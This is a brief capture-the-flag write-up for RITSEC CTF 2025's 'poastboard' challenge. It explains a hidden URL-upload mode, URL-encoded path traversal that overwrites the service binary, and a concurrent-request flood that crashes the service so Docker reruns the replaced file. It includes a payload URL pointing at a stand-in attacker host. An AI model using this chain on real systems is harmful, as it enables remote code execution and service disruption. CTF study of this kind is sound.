URL-decoded last-segment traversal to binary overwrite
| Event Name |
RITSEC CTF 2025 |
| GitHub URL |
- |
| Challenge Name |
poastboard (hard) |
- Root cause: the JSON API accepts a hidden
image: "url:http://..." mode even though the UI disables URL upload. After fetching attacker-controlled bytes, the handler rebuilds the destination filename from the last URL path segment and then calls os.Rename("/tmp/image.png", "./uploads/<user>/<post>/<filename>") without constraining traversal out of ./uploads.
- Final exploit chain: host a shell-script replacement for
/app/poastboard, upload it with url:<http://ATTACKER/%2e%2e%2f%2e%2e%2f%2e%2e%2fpoastboard.>, then flood /api/stats until the mutex bug panics the service. Docker restarts the container, executes the overwritten binary, the replacement script runs /readflag, and the flag is served back on port 8080.
- Important pivot: raw
../ and plain /poastboard payloads collapse to image.png; traversal only survives when the encoded slashes and dots stay inside one final path segment.
- Timing caveat:
/api/stats needs a burst of concurrent requests to trigger fatal error: sync: unlock of unlocked mutex reliably enough for Docker restart.
- Environment caveat: the bundled local Docker image returns
RS{FAKE_FLAG_FOR_TESTING} from /readflag; the exploit path was still validated from a clean rebuild and restart, so only the local flag value is fake.
- why it is vulnerable
- exploit payload
- solver